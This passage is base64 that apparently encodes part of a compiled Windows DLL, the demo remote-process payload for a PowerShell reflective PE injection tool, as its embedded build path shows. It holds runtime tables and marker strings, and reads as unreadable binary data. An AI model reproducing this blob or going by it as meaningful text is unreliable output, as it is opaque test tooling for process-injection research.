dXhlbWJvdXJnAAAAAAAAAGdlcm1hbi1saWNodGVuc3RlaW4AAAAAAGdlcm1hbi1hdXN0cmlhbgBmcmVuY2gtc3dpc3MAAAAAZnJlbmNoLWx1eGVtYm91cmcAAAAAAAAAZnJlbmNoLWNhbmFkaWFuAGZyZW5jaC1iZWxnaWFuAABlbmdsaXNoLXVzYQAAAAAAZW5nbGlzaC11cwAAAAAAAGVuZ2xpc2gtdWsAAAAAAABlbmdsaXNoLXRyaW5pZGFkIHkgdG9iYWdvAAAAAAAAAGVuZ2xpc2gtc291dGggYWZyaWNhAAAAAGVuZ2xpc2gtbnoAAAAAAABlbmdsaXNoLWphbWFpY2EAZW5nbGlzaC1pcmUAAAAAAGVuZ2xpc2gtY2FyaWJiZWFuAAAAAAAAAGVuZ2xpc2gtY2FuAAAAAABlbmdsaXNoLWJlbGl6ZQAAZW5nbGlzaC1hdXMAAAAAAGVuZ2xpc2gtYW1lcmljYW4AAAAAAAAAAGR1dGNoLWJlbGdpYW4AAABjaGluZXNlLXRyYWRpdGlvbmFsAAAAAABjaGluZXNlLXNpbmdhcG9yZQAAAAAAAABjaGluZXNlLXNpbXBsaWZpZWQAAAAAAABjaGluZXNlLWhvbmdrb25nAAAAAAAAAABjaGluZXNlAGNoaQBjaGgAY2FuYWRpYW4AAAAAAAAAAGJlbGdpYW4AYXVzdHJhbGlhbgAAAAAAAGFtZXJpY2FuLWVuZ2xpc2gAAAAAAAAAAGFtZXJpY2FuIGVuZ2xpc2gAAAAAAAAAAGFtZXJpY2FuAAAAAAAAAABQiwGAAQAAAEVOVQAAAAAAOIsBgAEAAABFTlUAAAAAACCLAYABAAAARU5VAAAAAAAQiwGAAQAAAEVOQQAAAAAACIsBgAEAAABOTEIAAAAAAPiKAYABAAAARU5DAAAAAAD0igGAAQAAAFpISAAAAAAA8IoBgAEAAABaSEkAAAAAAOiKAYABAAAAQ0hTAAAAAADQigGAAQAAAFpISAAAAAAAuIoBgAEAAABDSFMAAAAAAKCKAYABAAAAWkhJAAAAAACIigGAAQAAAENIVAAAAAAAeIoBgAEAAABOTEIAAAAAAGCKAYABAAAARU5VAAAAAABQigGAAQAAAEVOQQAAAAAAQIoBgAEAAABFTkwAAAAAADCKAYABAAAARU5DAAAAAAAYigGAAQAAAEVOQgAAAAAACIoBgAEAAABFTkkAAAAAAPiJAYABAAAARU5KAAAAAADoiQGAAQAAAEVOWgAAAAAA0IkBgAEAAABFTlMAAAAAALCJAYABAAAARU5UAAAAAACgiQGAAQAAAEVORwAAAAAAkIkBgAEAAABFTlUAAAAAAICJAYABAAAARU5VAAAAAABwiQGAAQAAAEZSQgAAAAAAYIkBgAEAAABGUkMAAAAAAEiJAYABAAAARlJMAAAAAAA4iQGAAQAAAEZSUwAAAAAAKIkBgAEAAABERUEAAAAAABCJAYABAAAAREVDAAAAAAD4iAGAAQAAAERFTAAAAAAA6IgBgAEAAABERVMAAAAAANiIAYABAAAARU5JAAAAAADIiAGAAQAAAElUUwAAAAAAuIgBgAEAAABOT1IAAAAAAKCIAYABAAAATk9SAAAAAACIiAGAAQAAAE5PTgAAAAAAcIgBgAEAAABQVEIAAAAAAFiIAYABAAAARVNTAAAAAABIiAGAAQAAAEVTQgAAAAAAOIgBgAEAAABFU0wAAAAAACCIAYABAAAARVNPAAAAAAAIiAGAAQAAAEVTQwAAAAAA6IcBgAEAAABFU0QAAAAAANiHAYABAAAARVNGAAAAAADAhwGAAQAAAEVTRQAAAAAAqIcBgAEAAABFU0cAAAAAAJCHAYABAAAARVNIAAAAAACAhwGAAQAAAEVTTQAAAAAAcIcBgAEAAABFU04AAAAAAFiHAYABAAAARVNJAAAAAABIhwGAAQAAAEVTQQAAAAAAMIcBgAEAAABFU1oAAAAAACCHAYABAAAARVNSAAAAAAAIhwGAAQAAAEVTVQAAAAAA+IYBgAEAAABFU1kAAAAAAOCGAYABAAAARVNWAAAAAADQhgGAAQAAAFNWRgAAAAAAxIYBgAEAAABERVMAAAAAAMCGAYABAAAARU5HAAAAAAC8hgGAAQAAAEVOVQAAAAAAuIYBgAEAAABFTlUAAAAAALCGAYABAAAAVVNBAAAAAACohgGAAQAAAEdCUgAAAAAAoIYBgAEAAABDSE4AAAAAAJiGAYABAAAAQ1pFAAAAAACQhgGAAQAAAEdCUgAAAAAAgIYBgAEAAABHQlIAAAAAAHiGAYABAAAATkxEAAAAAABohgGAAQAAAEhLRwAAAAAAWIYBgAEAAABOWkwAAAAAAFSGAYABAAAATlpMAAAAAABIhgGAAQAAAENITgAAAAAAOIYBgAEAAABDSE4AAAAAACiGAYABAAAAUFJJAAAAAAAghgGAAQAAAFNWSwAAAAAAEIYBgAEAAABaQUYAAAAAAACGAYABAAAAS09SAAAAAADwhQGAAQAAAFpBRgAAAAAA4IUBgAEAAABLT1IAAAAAAMiFAYABAAAAVFRPAAAAAADAhgGAAQAAAEdCUgAAAAAAuIUBgAEAAABHQlIAAAAAAKiFAYABAAAAVVNBAAAAAAC8hgGAAQAAAFVTQQAAAAAADAwaDAcQNgQMCC0EAwQMEBAIHQhPQ1AAQUNQAAAAAABOb3J3ZWdpYW4tTnlub3JzawAAAAAAAAAgQ29tcGxldGUgT2JqZWN0IExvY2F0b3InAAAAAAAAACBDbGFzcyBIaWVyYXJjaHkgRGVzY3JpcHRvcicAAAAAIEJhc2UgQ2xhc3MgQXJyYXknAAAAAAAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoAAAAAAAgVHlwZSBEZXNjcmlwdG9yJwAAAAAAAABgbG9jYWwgc3RhdGljIHRocmVhZCBndWFyZCcAAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAAAAAAAAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAAAAAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAAAAAAAAYG9tbmkgY2FsbHNpZycAACBkZWxldGVbXQAAACBuZXdbXQAAAAAAAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAAABgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAAAAAAGB1ZHQgcmV0dXJuaW5nJwBgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAAAAAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHNjYWxhciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgZGVmYXVsdCBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYHZiYXNlIGRlc3RydWN0b3InAAAAAAAAYHN0cmluZycAAAAAAAAAAGBsb2NhbCBzdGF0aWMgZ3VhcmQnAAAAAGB0eXBlb2YnAAAAAAAAAABgdmNhbGwnAGB2YnRhYmxlJwAAAAAAAABgdmZ0YWJsZScAAABePQAAfD0AACY9AAA8PD0APj49ACU9AAAvPQAALT0AACs9AAAqPQAAfHwAACYmAAB8AAAAXgAAAH4AAAAoKQAALAAAAD49AAA+AAAAPD0AADwAAAAlAAAALwAAAC0+KgAmAAAAKwAAAC0AAAAtLQAAKysAAC0+AAAAAAAAb3BlcmF0b3IAAAAAW10AACE9AAA9PQAAIQAAADw8AAA+PgAAAAAAACBkZWxldGUAIG5ldwAAAABfX3VuYWxpZ25lZAAAAAAAX19yZXN0cmljdAAAAAAAAF9fcHRyNjQAX19lYWJpAABfX2NscmNhbGwAAAAAAAAAX19mYXN0Y2FsbAAAAAAAAF9fdGhpc2NhbGwAAAAAAABfX3N0ZGNhbGwAAAAAAAAA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qKEBAAAAAAAAAAAAuKEBAAAAAAAAAAAAAAAAAAjgAQAAAAAAAAAAAP////8AAAAAQAAAAJChAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAA44AEACKIBAOChAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAIKIBAAAAAAAAAAAAOKIBALihAQAAAAAAAAAAAAAAAAAAAAAAOOABAAEAAAAAAAAA/////wAAAABAAAAACKIBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAHDgAQCIogEAYKIBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACgogEAAAAAAAAAAAC4ogEAuKEBAAAAAAAAAAAAAAAAAAAAAABw4AEAAQAAAAAAAAD/////AAAAAEAAAACIogEAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAqOABAAijAQDgogEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAACCjAQAAAAAAAAAAAECjAQA4ogEAuKEBAAAAAAAAAAAAAAAAAAAAAAAAAAAAqOABAAIAAAAAAAAA/////wAAAABAAAAACKMBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAACDhAQCQowEAaKMBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACoowEAAAAAAAAAAADAowEAiKoBAAAAAAAAAAAAAAAAAAAAAAAg4QEAAQAAAAAAAAD/////AAAAAEAAAACQowEAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAASOEBABCkAQDoowEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAACikAQAAAAAAAAAAAEikAQDAowEAiKoBAAAAAAAAAAAAAAAAAAAAAAAAAAAASOEBAAIAAAAAAAAA/////wAAAABAAAAAEKQBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAHDhAQCYpAEAcKQBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAACwpAEAAAAAAAAAAADQpAEAwKMBAIiqAQAAAAAAAAAAAAAAAAAAAAAAAAAAAHDhAQACAAAAAAAAAP////8AAAAAQAAAAJikAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAACY4QEAIKUBAPikAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAOKUBAAAAAAAAAAAAUKUBALirAQAAAAAAAAAAAAAAAAAAAAAAmOEBAAEAAAAAAAAA/////wAAAABAAAAAIKUBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAEDiAQCgpQEAeKUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAC4pQEAAAAAAAAAAADIpQEAAAAAAAAAAAAAAAAAQOIBAAAAAAAAAAAA/////wAAAABAAAAAoKUBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAGD6AQCwqgEA8KUBAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAADg+gEAQKYBABimAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAWKYBAAAAAAAAAAAAcKYBAIiqAQAAAAAAAAAAAAAAAAAAAAAA4PoBAAEAAAAAAAAA/////wAAAABAAAAAQKYBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAADjmAQDApgEAmKYBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADYpgEAAAAAAAAAAADwpgEAiKoBAAAAAAAAAAAAAAAAAAAAAAA45gEAAQAAAAAAAAD/////AAAAAEAAAADApgEAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAiPoBAECnAQAYpwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAFinAQAAAAAAAAAAAICnAQAIqAEAkKkBAIiqAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACI+gEAAwAAAAAAAAD/////AAAAAEAAAABApwEAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAuPoBANCnAQCopwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAOinAQAAAAAAAAAAAAioAQCQqQEAiKoBAAAAAAAAAAAAAAAAAAAAAAAAAAAAuPoBAAIAAAAAAAAA/////wAAAABAAAAA0KcBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAKj3AQBYqAEAMKgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAABwqAEAAAAAAAAAAACQqAEA6KgBALirAQAAAAAAAAAAAAAAAAAAAAAAAAAAAKj3AQACAAAAAAAAAP////8AAAAAQAAAAFioAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADQqAEAAAAAAAAAAADoqAEAuKsBAAAAAAAAAAAAAAAAAAAAAADQ9wEAAQAAAAAAAAD/////AAAAAEAAAAC4qAEAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAA+PcBAOCrAQAQqQEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAADj6AQBgqQEAOKkBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAB4qQEAAAAAAAAAAACQqQEAiKoBAAAAAAAAAAAAAAAAAAAAAAA4+gEAAQAAAAAAAAD/////AAAAAEAAAABgqQEAAAAAAAAAAAAAAAAAAQAAAAgAAAAAAAAAAPkBAMisAQC4qQEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAKD5AQBYrwEA4KkBAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAACY+AEA4K0BAAiqAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAACPsBAFiqAQAwqgEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAHCqAQAAAAAAAAAAANiqAQCIqgEAAAAAAAAAAAAAAAAAAAAAAGD6AQAAAAAAAAAAAP////8AAAAAQAAAALCqAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADIqgEAAAAAAAAAAACIqgEAAAAAAAAAAAAAAAAACPsBAAEAAAAAAAAA/////wAAAABAAAAAWKoBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAEj4AQAoqwEAAKsBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAABAqwEAAAAAAAAAAAAIrAEAYKsBALirAQAAAAAAAAAAAAAAAAAAAAAAAAAAACD4AQABAAAAAAAAAP////8AAAAAQAAAAIirAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACgqwEAAAAAAAAAAABgqwEAuKsBAAAAAAAAAAAAAAAAAAAAAAD49wEAAAAAAAAAAAD/////AAAAAEAAAADgqwEAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA+KsBAAAAAAAAAAAAuKsBAAAAAAAAAAAAAAAAAEj4AQACAAAAAAAAAP////8AAAAAQAAAACirAQAAAAAAAAAAAAAAAAABAAAAqAAAAAAAAABQ+QEAWKwBADCsAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAcKwBAAAAAAAAAAAAsK4BAKCsAQBYrQEAMK0BAAitAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPkBAAMAAAAAAAAA/////wAAAABAAAAAyKwBAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAOCsAQAAAAAAAAAAAKCsAQBYrQEAMK0BAAitAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABw+AEAAAAAAAgAAAAAAAAABAAAAEAAAAA4rgEAAAAAAAAAAAAAAAAAmPgBAAEAAAAAAAAAAAAAAAQAAABAAAAA4K0BAAAAAAAAAAAAAAAAAMD4AQACAAAAAAAAAAAAAAAEAAAAUAAAAICtAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAACYrQEAAAAAAAAAAACIrgEAuK0BABCuAQAAAAAAAAAAAAAAAAAAAAAAAAAAAJj4AQABAAAAAAAAAP////8AAAAAQAAAAOCtAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAD4rQEAAAAAAAAAAAC4rQEAEK4BAAAAAAAAAAAAAAAAAAAAAABw+AEAAAAAAAgAAAD/////AAAAAEAAAAA4rgEAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAUK4BAAAAAAAAAAAAYK4BAAAAAAAAAAAAAAAAAHD4AQAAAAAAAAAAAP////8AAAAAQAAAADiuAQAAAAAAAAAAAAAAAADA+AEAAgAAAAAAAAD/////AAAAAEAAAACArQEAAAAAAAAAAAAAAAAAUPkBAAQAAAAAAAAA/////wAAAABAAAAAWKwBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAPD5AQAArwEA2K4BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAYrwEAAAAAAAAAAACArwEAMK8BAAAAAAAAAAAAAAAAAAAAAACg+QEAAAAAAAAAAAD/////AAAAAEAAAABYrwEAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAcK8BAAAAAAAAAAAAMK8BAAAAAAAAAAAAAAAAAPD5AQABAAAAAAAAAP////8AAAAAQAAAAACvAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEGAgAGUgIwAQ8GAA9kBwAPNAYADzILcAEEAQAEggAAERYGABY0DAAIUgRwA2ACUOxoAADYZQEA//////BIAQBoRwAA/////45HAAAAAAAA/UcAAP////8RGAQAGDQJAApSBnDsaAAAGGYBAP/////8SAEAAAAAAAxJAQAUSQAA/////ztJAAABAAAAQUkAAAAAAABUSQAA/////xEPAgAGUgIw7GgAAEBmAQD/////HEkBAHxJAAD/////qEkAAAAAAABjSgAA/////xEPAgAGUgIw7GgAAHBmAQD/////KEkBAHxSAQD/////mFIBAAAAAADAUgEA/////wEMBgAMNA4ADJIIcAdgBlABEggAElQRABI0DgASkg7ADHALYAEAAAABFAYAFGQHABQ0BgAUMhBwERQGABRkCAAUNAYAFDIQcLysAAABAAAA1FIAAIhTAABOSQEAAAAAAAEcDAAcZA0AHFQMABw0CgAcMhjwFuAU0BLAEHARGQgAGXQIABlkBwAZNAYAGTIVwLysAAABAAAAhlUAAJpVAAA0SQEAAAAAABEPBAAPNAYADzILcLysAAABAAAAClcAABZXAABOSQEAAAAAABEPBAAPNAcADzILcLysAAABAAAAalcAABtYAABoSQEAAAAAAAAAAAABAAAAERQGABRkCAAUNAcAFDIQcLysAAABAAAAGl0AACpdAABoSQEAAAAAABEYCAAYZAoAGDQJABgyFNASwBBwvKwAAAEAAABEXgAAuF4AAG1KAQAAAAAAERkKABl0DAAZZAsAGTQKABlSFfAT0BHAvKwAAAIAAAACYAAARmAAAIJJAQAAAAAAyV8AAF9gAACySQEAAAAAABEPBAAPNAcADzILcLysAAABAAAAsGAAALpgAABoSQEAAAAAAAEKBAAKNAYACjIGcBEPBAAPNAcADzILcLysAAABAAAAQ2IAAE1iAABoSQEAAAAAAAEKAgAKMgYwEQoCAAoyBjC8rAAAAQAAAFVjAAB3YwAAzUkBAAAAAAABBgIABjICUAkVCAAVdAoAFWQJABU0CAAVUhHAvKwAAAEAAAA1ZAAA/2QAAPNJAQADZQAAAQAAAAESBgASdBAAEjQPABKyC1ABHAwAHGQNABxUDAAcNAsAHDIY8BbgFNASwBBwAQQBAARCAAABGAoAGGQLABhUCQAYNAgAGDIU0BLAEHABDwYAD2QMAA80CwAPcgtwARQIABRkDAAUVAsAFDQKABRyEHABBgIABnICUAkYAgAYshQwvKwAAAEAAAA/agAAX2oAABFKAQBfagAAARgKABhkCgAYVAkAGDQIABgyFNASwBBwGS0KABwBtwAN8AvgCdAHwAVwBGADMAJQvNcAAKAFAAABCgQACjQIAApSBnARGQoAGXQKABlkCQAZNAgAGTIV4BPQEcC8rAAAAQAAAGJuAAAobwAAV0oBAAAAAAARFQgAFXQLABVkCgAVNAkAFVIRwLysAAACAAAA3W8AAP9vAABtSgEAAAAAAARwAAAYcAAAbUoBAAAAAAARFAYAFGQIABQ0BwAUMhBwvKwAAAEAAABBcQAAUHEAAGhJAQAAAAAAARcFABdiE3ASYBFQEDAAAAEZCgAZdAsAGWQKABlUCQAZNAgAGVIVwAEPBgAPZAkADzQIAA9SC3ABHAwAHGQOABxUDQAcNAwAHFIY8BbgFNASwBBwGSYKABQBHwAN8AvgCdAHwAVwBGADUAIwvNcAAOAAAAAZMAsAHzRNAB8BQgAQ8A7gDNAKwAhwB2AGUAAAvNcAAAACAAARGQoAGXQNABlkCwAZNAoAGVIV4BPQEcC8rAAAAwAAAOh9AAATfgAAh0oBAAAAAAB7fgAA534AAKdKAQAAAAAAwn0AAAR/AADHSgEAAAAAABktDUUfdBIAG2QRABc0EAATQw6SCvAI4AbQBMACUAAAvNcAAEgAAAABDwYAD2QRAA80EAAP0gtwGTENAB9kGwAfVBoAHzQZAB8BEgAY8BbgFNASwBBwAAC81wAAiAAAAAEZCgAZdAkAGWQIABlUBwAZNAYAGTIVwBkiCAAiUh7wHOAa0BjAFnAVYBQwvKwAAAIAAACGjQAAHY4AAOJKAQAdjgAATo0AAESOAAACSwEAAAAAAAkNAQANQgAAvKwAAAEAAAC0jgAAx44AACtLAQDHjgAAARwMABxkDAAcVAsAHDQKABwyGPAW4BTQEsAQcAEHAwAHQgNQAjAAABkTCAAT8gzwCuAI0AbABHADYAIwvKwAAAIAAADCkAAA7ZAAAENLAQDtkAAAwpAAAGqRAABDTAEAAAAAAAkZCgAZdAwAGWQLABk0CgAZUhXgE9ARwLysAAABAAAAjJIAANiTAAABAAAA3JMAAAkPBgAPZAcADzQGAA8yC3C8rAAAAQAAACqUAACalAAAAQAAAJqUAAABFwoAF1QSABc0EAAXkhPgEdAPwA1wDGABGQoAGTQVABmyFfAT4BHQD8ANcAxgC1ABJQsAJTQdACUBEgAa8BjgFtAUwBJwEWAQUAAAARgKABhkDgAYVA0AGDQMABhyFOASwBBwAQwCAAwBEQARBgIABlICMLysAAABAAAAVKEAAJyhAADSTAEAAAAAAAEAAAABHAsAHHQYABxUFw